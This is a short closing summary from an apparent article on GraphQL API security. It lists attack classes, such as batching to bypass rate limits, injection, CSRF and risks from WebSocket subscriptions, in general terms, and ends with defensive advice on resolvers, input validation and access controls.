- Aliasing and array batching can be used to bypass rate limits and 2FA protections.
- Improper input handling can lead to classic attacks such as SQLi, NoSQLi, SSRF, and RCE.
- CSRF is still viable if the server accepts GET requests or non-JSON content types.
- WebSocket subscriptions significantly broaden the attack surface by introducing risks related to authentication bypass, authorization flaws, session hijacking, and potential Denial-of-Service (DoS) through persistent connections.
Ultimately, GraphQL security heavily depends on the proper implementation of resolvers, rigorous input validation, strict enforcement of access controls, and secure handling of subscriptions.
From an offensive security standpoint, GraphQL APIs represent not merely a different approach to API design—but also an expanded and complex attack surface..